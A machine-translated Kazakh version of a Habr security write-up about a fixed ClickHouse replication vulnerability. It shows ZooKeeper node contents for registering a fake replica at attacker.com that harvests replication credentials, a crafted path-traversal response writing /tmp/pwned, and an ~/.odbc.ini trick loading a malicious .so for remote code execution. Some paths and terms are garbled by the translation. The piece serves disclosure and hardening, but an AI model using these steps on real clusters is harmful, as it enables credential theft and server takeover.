Неліктен хайуанаттар бағының торларын жабық ұстау керек?

Неліктен хайуанаттар бағының торларын жабық ұстау керек?

Бұл мақала ClickHouse репликация хаттамасындағы өте ерекше осалдық туралы әңгімелейді және шабуыл бетін қалай кеңейтуге болатынын көрсетеді.

ClickHouse – көбіне бірнеше көшірмелерді қолданатын үлкен көлемдерді сақтауға арналған дерекқор. ClickHouse ішіндегі кластерлеу және репликация жоғарыдан құрастырылған Apache ZooKeeper (ZK) және жазу құқықтарын талап етеді.

Әдепкі ZK орнатуы аутентификацияны қажет етпейді, сондықтан Kafka, Hadoop, ClickHouse конфигурациялау үшін пайдаланылатын мыңдаған ZK серверлері жалпыға қолжетімді.

Шабуыл деңгейін азайту үшін ZooKeeper орнату кезінде аутентификация мен авторизацияны әрқашан конфигурациялау керек.

Әрине, бірнеше күндік Java сериясын жою бар, бірақ шабуылдаушы ClickHouse репликациясы үшін пайдаланылатын ZooKeeper бағдарламасын оқи және жаза алады деп елестетіңіз.

Кластер режимінде конфигурацияланған кезде ClickHouse таратылған сұрауларды қолдайды DDL, ZK арқылы өту - олар үшін парақта түйіндер жасалады /clickhouse/task_queue/ddl.

Мысалы, сіз түйін жасайсыз /clickhouse/task_queue/ddl/query-0001 мазмұнымен:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

және одан кейін сынақ кестесі хост1 және хост2 кластерлік серверлерінде жойылады. DDL сонымен қатар CREATE/ALTER/DROP сұрауларын орындауды қолдайды.

Қорқынышты естіледі ме? Бірақ шабуылдаушы сервер мекенжайларын қайдан ала алады?

ClickHouse репликасы жеке кестелер деңгейінде жұмыс істейді, осылайша ZK-де кесте жасалғанда репликалармен метадеректер алмасуға жауапты сервер көрсетіледі. Мысалы, сұрауды орындау кезінде (ZK конфигурациялануы керек, chXX - көшірменің атауы, foobar - кесте атауы):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

түйіндер құрылады бағандар и метадеректер.

Мазмұны /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Бұл кластерден деректерді біріктіру мүмкін бе? Иә, егер репликация порты (TCP/9009) серверде chXX-address брандмауэр жабылмайды және репликацияға арналған аутентификация конфигурацияланбайды. Аутентификацияны қалай айналып өтуге болады?

Шабуыл жасаушы мазмұнды жай көшіру арқылы ZK жүйесінде жаңа көшірме жасай алады /clickhouse/tables/01-01/foobar/replicas/chXX және мағынасын өзгерту host.

Мазмұны /clickhouse/кестелер/01–01/foobar/репликалар/шабуылдаушы/хост:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Содан кейін басқа көшірмелерге шабуылдаушы серверінде олар қабылдауы керек деректердің жаңа блогы бар екенін айту керек - ZK-да түйін жасалады. /clickhouse/tables/01-01/foobar/log/log-00000000XX (ХХ монотонды өсетін есептегіш, оқиғалар журналындағы соңғы саннан үлкен болуы керек):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

қайда source_replica — алдыңғы қадамда жасалған шабуылдаушы репликасының атауы, block_id — деректер блогының идентификаторы, алу - «блок алу» командасы (және мұнда басқа әрекеттерге арналған командалар бар).

Әрі қарай, әрбір реплика журналдағы жаңа оқиғаны оқиды және деректер блогын алу үшін шабуылдаушы басқаратын серверге өтеді (репликация протоколы екілік, HTTP үстінде жұмыс істейді). Сервер attacker.com сұрауларды қабылдайды:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

мұндағы XXX – репликацияға арналған аутентификация деректері. Кейбір жағдайларда бұл негізгі ClickHouse протоколы және HTTP протоколы арқылы дерекқорға кіру мүмкіндігі бар тіркелгі болуы мүмкін. Көріп отырғаныңыздай, репликация үшін пайдаланылатын ZooKeeper аутентификациясыз конфигурацияланбағандықтан, шабуыл беті өте үлкен болады.

Репликадан деректер блогын алу функциясын қарастырайық, ол барлық репликалар тиісті бақылауда және олардың арасында сенімділік бар деп толық сеніммен жазылған.

Неліктен хайуанаттар бағының торларын жабық ұстау керек?
репликацияны өңдеу коды

Функция файлдар тізімін, содан кейін олардың атауларын, өлшемдерін, мазмұнын оқиды, содан кейін оларды файлдық жүйеге жазады. Деректер файлдық жүйеде қалай сақталатынын бөлек сипаттаған жөн.

ішінде бірнеше ішкі каталогтар бар /var/lib/clickhouse (конфигурация файлындағы әдепкі сақтау каталогы):

жалаулар - жазуға арналған каталог жалаулар, деректер жоғалғаннан кейін қалпына келтіруде қолданылады;
ПТМ — уақытша файлдарды сақтауға арналған каталог;
пайдаланушы_файлдары — сұраныстардағы файлдармен операциялар осы каталогпен шектеледі (INTO OUTFILE және т.б.);
метадеректер — кесте сипаттамасы бар sql файлдары;
алдын ала өңделген_конфигурациялар - өңделген туынды конфигурация файлдары /etc/clickhouse-server;
мәліметтер - деректердің өзі бар нақты каталог, бұл жағдайда әрбір дерекқор үшін мұнда жай ғана жеке ішкі каталог жасалады (мысалы, /var/lib/clickhouse/data/default).

Әрбір кесте үшін дерекқор каталогында ішкі каталог жасалады. Әрбір баған байланысты бөлек файл қозғалтқыш пішімі. Мысалы, кесте үшін foobarшабуылдаушы жасаған болса, келесі файлдар жасалады:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Көшірме деректер блогын өңдеу кезінде бірдей атаулары бар файлдарды алуды күтеді және оларды ешқандай жолмен растамайды.

Мұқият оқырман функциядағы file_name деген қауіпті біріктіру туралы естіген болуы мүмкін WriteBufferFromFile. Иә, бұл шабуылдаушыға пайдаланушы құқығы бар FS жүйесіндегі кез келген файлға ерікті мазмұнды жазуға мүмкіндік береді clickhouse. Мұны істеу үшін шабуылдаушы басқаратын көшірме сұрауға келесі жауапты қайтаруы керек (түсіну жеңілдігі үшін жол үзілімдері қосылды):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

және жалғаудан кейін ../../../../../../../../../tmp/pwned файл жазылады /tmp/pwned мазмұнымен сәлем зоопарк қызметкері.

Файлды жазу мүмкіндігін қашықтан кодты орындауға (RCE) айналдырудың бірнеше нұсқасы бар.

ӨКП-дегі сыртқы сөздіктер

Ескі нұсқаларда ClickHouse параметрлері бар каталог пайдаланушы құқықтарымен сақталған кликхаус әдепкі. Параметрлер файлдары қызмет іске қосу кезінде оқитын, содан кейін кэште сақтайтын XML файлдары /var/lib/clickhouse/preprocessed_configs. Өзгерістер орын алған кезде олар қайта оқылады. Егер сізде рұқсат болса /etc/clickhouse-server шабуылдаушы өзін өзі жасай алады сыртқы сөздік орындалатын түрі, содан кейін ерікті кодты орындаңыз. ClickHouse бағдарламасының ағымдағы нұсқалары әдепкі бойынша құқықтарды қамтамасыз етпейді, бірақ сервер біртіндеп жаңартылса, мұндай құқықтар сақталуы мүмкін. ClickHouse кластерін қолдайтын болсаңыз, параметрлер каталогына құқықтарды тексеріңіз, ол пайдаланушыға тиесілі болуы керек root.

ODBC-тен RCE-ге

Буманы орнату кезінде пайдаланушы жасалады clickhouse, бірақ оның үй каталогы жасалмаған /nonexistent. Дегенмен, сыртқы сөздіктерді пайдаланған кезде немесе басқа себептермен әкімшілер каталог жасайды /nonexistent және пайдаланушыға беріңіз clickhouse оған жазу мүмкіндігі (SSZB! шамамен. аудармашы).

ClickHouse қолдайды ODBC және басқа дерекқорларға қосыла алады. ODBC бағдарламасында дерекқор драйверлерінің кітапханасына (.so) жолды көрсетуге болады. ClickHouse ескі нұсқалары мұны тікелей сұрау өңдегішінде орындауға мүмкіндік берді, бірақ енді қосылым жолын неғұрлым қатаң тексеру қосылды. odbc-bridge, сондықтан бұдан былай сұраудан драйвер жолын көрсету мүмкін емес. Бірақ шабуылдаушы жоғарыда сипатталған осалдықты пайдаланып үй каталогына жаза ала ма?

Файл жасайық ~/.odbc.ini келесідей мазмұнмен:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

содан кейін іске қосу кезінде SELECT * FROM odbc('DSN=lalala', 'test', 'test'); кітапхана жүктеледі test.so және RCE алды (рахмет buglloc ұшы үшін).

Осы және басқа осалдықтар ClickHouse 19.14.3 нұсқасында түзетілді. ClickHouse және ZooKeepers туралы қамқорлық жасаңыз!

Ақпарат көзі: www.habr.com

пікір қалдыру